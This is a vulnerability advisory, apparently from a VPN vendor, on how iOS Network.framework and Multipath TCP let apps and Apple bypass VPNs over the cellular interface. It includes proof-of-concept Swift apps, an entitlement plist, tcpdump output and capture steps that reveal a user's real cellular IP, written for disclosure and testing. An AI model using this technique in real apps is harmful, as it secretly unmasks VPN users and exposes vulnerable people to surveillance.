Leak advisory: Apple and *All* iOS App Developers Are Able to Unmask VPN Users

As Russians and other vulnerable users flock to VPNs for protection, the reality is that 100s of millions of people who use consumer or corporate iOS VPNs are vulnerable to app developers taking advantage of Apple APIs to easily bypass VPNs on Wi-Fi for malicious, commercial, or surveillance purposes. Apple gives itself even greater power to bypass VPN protections on both Wi-Fi and cellular.

Real IP leaked

Users who install VPNs on iOS for personal use or work may believe they are sending all their device traffic over that VPN, but our research (see our testing methodology below) shows that's not always the case. Apple provides APIs to ALL developers - literally every app in the App Store has access - that allow any app you install to easily and secretly bypass your VPN protection, receive the traffic directly from your device, and view your cellular IP when you're on Wi-Fi. Additionally, Apple reserves for itself the power to bypass your VPN without any notice or permission on both Wi-Fi or cellular connections.

Using these loopholes app developers are able to detect users that have an active VPN connection and then correlate a user's true cellular IP to their online activity conducted while using a VPN. This allows Apple or any developer to track VPN use to a particular IP, device, and/or person.

Why this matters

People in countries with heightened surveillance and diminished civil rights are most vulnerable to this VPN leak. Most pressing, currently in Russia people are flocking to VPNs to evade government censorship, but these Apple provided VPN workarounds could help authorities to unmask VPN users and result in severe legal consequences. Right now, it's not hard to imagine that app developers with friendly or compulsory data sharing agreements with the Russian government (i.e., most of the popular Russian-based apps) would automatically report people who use VPNs along with their cellular IPs and device fingerprints to the government authorities, who would then be able to personally identify the individuals and track their VPN activities. All of this without any notice to the user.

Search volume of VPN in Russia & Ukraine

Additionally, malicious apps, or apps that profit from surveillance could use the Apple provided API to thwart VPN protections on Wi-Fi and secretly collect valuable personal information. In addition, apps that don't allow VPNs may use this power to secretly detect, unmask, and/or block VPN users.

Finally, Apple itself is in the position to unmask any iOS VPN user on Wi-Fi or cellular. And while you may trust Apple to protect your data from other companies, what happens if Apple gets a government request such as a subpoena, court order, warrant, or other valid legal request? Apple publishes Transparency Reports documenting government requests for data by country. The Transparency Reports for Russia include the years 2013-2020, but nothing for 2021. In 2020, for example, Apple received more than 3 government requests from Russia everyday of the year (1,123 total) for device data. But there is no indication whether the requests from Russia or any of the other countries include data Apple may have collected from bypassing VPN protections.

The important point, that is worth repeating, is that in all the examples mentioned above, the device traffic is sent to Apple or another third-party app developer without any request for permission or user notice whatsoever.

Here's how it works

Apple provides all developers with access to its Network.framework, Multipath TCP (MPTCP), and other networking APIs, which by design allow any app developer to bypass the Wi-Fi interface and route traffic directly over the cellular interface. Invoking these tools effectively allows any app developer to unmask VPN users on Wi-Fi without notice or consent. By routing device traffic over the cellular interface, app developers are able to bypass VPN protection and obtain the user's cellular IP and other device information that allows that app developer to fingerprint a particular device and/or user.

Leaks App Screenshot of example app that shows the user's cellular IP being leaked when connected to a VPN

Apple also has the ability to bypass VPN protections and routinely does so, for example when Siri is invoked. Routing literally ALL device traffic through a VPN may not always be possible or advisable for certain device features and functionality, however the concern here is that there isn’t transparency or control. Apple does not appear to mention any carve outs or connections that are not-routed via the VPN in its developer documentation, especially for establishing a VPN. In addition, although Apple requires very explicit user permission to install a VPN profile, there is no mention of the issues presented here.

Does Apple know about this? Are they doing anything to address this?

Apple definitely knows about this issue. For example, Apple created the network.Framework, which specifically allows developers to route traffic over the non-default interface and force traffic from users with a Wi-Fi connection to route over the cellular interface without traveling to the VPN server. In addition, Apple provides developer documentation that clearly describes the ability to use Multipath TCP (MPTCP) in order to route traffic over the cellular interface. In addition to network.Framework and MPTCP, Apple allows developers to use Sockets to accomplish the same result, bypassing a users VPN protection by routing Wi-Fi traffic to the cellular interface.

To Apple's credit, on September 16, 2020, with the launch of iOS 14 Apple did release a new VPN property, with very limited documentation, called includeAllNetworks that stops the ability of Apple and third-party developers to exploit the cellular interface when a VPN is established. The problem with includeAllNetworks is that this API property isn’t compatible with all VPN types, causes massive breakage, and in our testing is unusable. For many VPNs, like ours, that rely on the natively supported IPSec/IKEv2 VPN protocols, when the API property is active a packet tunnel provider VPN will break any other user installed personal VPNs (even when a packet tunnel provider VPN isn't connected or isn't even active), as described further in the Apple Developer Forum here. In addition, for other VPNs utilizing the Wireguard secure network tunnel, setting includeAllNetworks in our tests has repeatedly resulted in internet connectivity failure, for example when switching between wi-fi and cellular. Often times the failure requires rebooting the entire device, which is a particularly brutal user experience. As of today's date Wireguard is aware of but has not taken advantage of the new VPN API property. There does appear to be at least one VPN provider offering IncludeAllNetworks as part of their "kill switch" feature, but none of the leading consumer and corporate VPNs that we tested have integrated includeAllNetworks.

So not only is Apple creating this issue and not providing a workable fix, but they are also failing to even warn VPN developers or users that the issue exists. While Apple may argue that the ability for Apple and other app developers to "scope" traffic (e.g., to specify whether to route traffic over Wi-Fi, cellular, or both) actually benefits users in many cases, there is no excuse for not providing VPN users with control or notice that their protections may be secretly bypassed by Apple or any random app developer. Apple could easily, for example, require every VPN user to be notified of the issues we present here. After all, Apple requires every user who proactively installs a VPN to view an iOS system dialog that warns users that "All network activity on this iPhone may be filtered or monitored when using VPN." Apple then requires the user to proactively tap Allow and then enter the device passcode to add a VPN. So why doesn't Apple give a heads up to users that their VPN protections may be subverted behind their back? For a company that sets the bar globally for privacy and transparency, they should do better and at a minimum require user notification / permission regarding these iOS VPN issues.

Here's what you can do to protect yourself

Unfortunately, because VPN developers must build on top of Apple's operating system, there's not much iOS VPN developers can do to protect users.

iOS VPN Advisory

So for now, unfortunately, the only thing users can do to protect themselves from app developers bypassing the VPN is to turn off cellular when using a VPN on Wi-Fi. We have already updated our apps to show VPN users an Advisory that explains the issue.

It's also worth noting that even if users were able to protect themselves from the iOS vulnerability we describe here, the reality is that governments may have other means of bypassing VPN protections. That said, our hope is that Apple takes steps to mitigate these issues.

Here's how to duplicate the issues: Our testing methodology

Issue 1 description The Network.framework from Apple allows developers to bypass the Wi-Fi interface and route traffic over the cellular interface. If a VPN is connected, a connection isn’t established for the cellular interface so traffic is routed over the cellular interface and is unprotected by the VPN.

A simple app written in swift will demonstrate this issue:

  1. Create new Swift app in Xcode, replace AppDelegate.swift with the following code:
//
//  AppDelegate.swift
//  Example VPN leak from Network.framework
//  Author: Patrick Jackson, https://disconnect.me
//

import UIKit  
import Network

@main
class AppDelegate: UIResponder, UIApplicationDelegate {

    var conn : NWConnection?

    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {

        let tlsParams = NWParameters.tls
        tlsParams.preferNoProxies = true
        tlsParams.prohibitedInterfaceTypes = [NWInterface.InterfaceType.wifi] // exclude Wi-Fi for this endpoint
        let host = "ip.disconnect.app" // tls enabled endpoint for checking external IP
        conn = NWConnection(host: NWEndpoint.Host(host), port: 443, using: tlsParams)
        conn?.stateUpdateHandler        = { state in
            print( "State Update: \( state )" )
            if state == .ready{
                let method         = "GET"
                let uri            = "/" // API key included here for purposes for testing only
                let httpVersion    = "HTTP/1.1"
                let headers        = "Host: \( host )\r\n"
                let body           = ""
                // construct HTTP request to send over readied connection
                let rawHTTPRequest = "\( method ) \( uri ) \( httpVersion )\r\n\( headers )\r\n\( body )"

                self.conn?.send( content: rawHTTPRequest.data( using: .ascii ), completion: .contentProcessed( { error in
                    self.conn?.receiveMessage { data, _, completed, error in
                        // cellular data needs to be enabled
                        // receiving the response may take several seconds
                        if let data = data, let resp = String( data: data, encoding: .ascii ) {
                            print( "HTTP Response: \( resp )") // .ascii? utf8
                        } else {
                            if let error = error {
                                print(error.localizedDescription)
                            }else{
                                print( "Response: nil, completed: \( completed )" )
                            }
                        }
                    }
                }))
            }
        }
        conn?.start(queue: .main)
        return true
    }
    func application(_ application: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession, options: UIScene.ConnectionOptions) -> UISceneConfiguration {
        // Called when a new scene session is being created.
        // Use this method to select a configuration to create the new scene with.
        return UISceneConfiguration(name: "Default Configuration", sessionRole: connectingSceneSession.role)
    }
}
  1. Ensure VPN is connected (verify with https://ip-api.com) and cellular data is enabled.

  2. Run application, wait a few seconds (up to 30 seconds if necessary).

App will output to the console in Xcode a JSON data structure that details information learned from the connecting IP (the cellular IP address). This information will include IP address, ISP, city, state, country, etc.

Result: There is no indication to the user that the 1) cellular connection is being used instead of Wi-Fi and 2) this traffic is hidden from the VPN which renders any filtering or advanced security/phishing protection provided by the VPN, useless.

{
  "as": "AS7018 AT&T Services, Inc.",
  "city": "Chicago",
  "country": "United States",
  "countryCode": "US",
  "hosting": false,
  "isp": "AT&T Services, Inc.",
  "lat": 41.8781,
  "lon": -87.6298,
  "mobile": true,
  "org": "Service Provider Corporation",
  "proxy": false,
  "query": "REDACTED",
  "region": "IL",
  "regionName": "Illinois",
  "reverse": "mobile-REDACTED.mycingular.net",
  "status": "success",
  "timezone": "America/Chicago",
  "zip": "60666"
}

Issue 2 description Developers are able to create an MPTCP connection using URLSession without using the Network.framework. See documentation here.

This requires developers to add the multipath entitlement:

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">  
<plist version="1.0">  
<dict>  
    <key>com.apple.developer.networking.multipath</key>
    <true/>
</dict>  
</plist>  

Client

//
//  AppDelegate.swift
//  Example MPTCP VPN Leak
//  Author: Patrick Jackson, https://disconnect.me
//

import UIKit

@main
class AppDelegate: UIResponder, UIApplicationDelegate {


    let config = URLSessionConfiguration.ephemeral
    var task : URLSessionDataTask?

    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
        // Override point for customization after application launch.
        config.multipathServiceType = URLSessionConfiguration.MultipathServiceType.interactive
        repeatFlow()


        return true
    }

    func repeatFlow() {

        let url = URL(string: "https://147.182.197.19/")

        let session = URLSession(configuration: config)
        task = session.dataTask(with: url!) { data, response, error in
            print(response)
            print(data)
            print(error?.localizedDescription)
        }

        task?.resume()
        self.delay(1){
            self.repeatFlow()
        }
    }

    func delay(_ delay: Double, closure: @escaping ()->()) {
        DispatchQueue.main.asyncAfter(
            deadline: DispatchTime.now() + Double(Int64(delay * Double(NSEC_PER_SEC))) / Double(NSEC_PER_SEC),
            execute: closure
        )
    }
}

Server

At the server (which doesn’t need to support MPTCP in order to unmask users), traffic destined for port 443 can be easily sniffed to reveal the user’s VPN and cellular IP address. For example:

root@ubuntu:~# tcpdump -n -i eth0 dst port 443  
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes  
21:14:30.851048 IP [REDACTED-VPN-IP-ADDRESS].49339 > [TEST-SERVER-IP].443: Flags [S], seq 2950275670, win 65535, options [mss 1240,nop,wscale 6,nop,nop,TS val 1936254843 ecr 0,sackOK,eol], length 0  
21:14:31.235312 IP [REDACTED-CELLULAR-IP-ADDRESS].49617 >  [TEST-SERVER-IP].443: Flags [SEW], seq 3271060219, win 65535, options [mss 1460,nop,wscale 12,sackOK,TS val 3304016412 ecr 0], length 0  

Issue 3 description Apple uses Multipath TCP (MPTCP) for Siri and other miscellaneous network requests. Even when a VPN is on, this MPTCP traffic will route directly from the Wi-Fi and cellular (if available) interface.

Wi-Fi testing requirements:

  • Ability to capture the internet traffic of the iOS device. You could use an access point with a router that allows the network traffic to be captured.

  • Wireshark to view the network captures.

Cellular testing requirements:

  • Ability to capture the cellular internet traffic of the iOS device.

  • Wireshark to view the network captures

Process:

Connect VPN. Verify it is indeed connected by visiting a website like https://ip-api.com.

From Wi-Fi interface, confirm that traffic is indeed being routed via the VPN tunnel.

Network Capture

From the cellular interface, apply a filter (mptcp) in Wireshark to only show multipath-tcp traffic.

Initiate a request to Siri by holding down the home button or power button (depending on device model).

Verify that traffic is not being routed to the VPN, but instead directly to Apple (17.0.0.0/8).

Network Capture

Note:

Following these steps on one interface are sufficient for demonstrating the issue. Even though Wi-Fi may be the default interface (and is still leaked as shown above), the cellular interface will show the setup sub-flow for the MPTCP connection, which also bypasses the VPN. In the above tests, both the Wi-Fi and cellular IP addresses were leaked for this Siri request.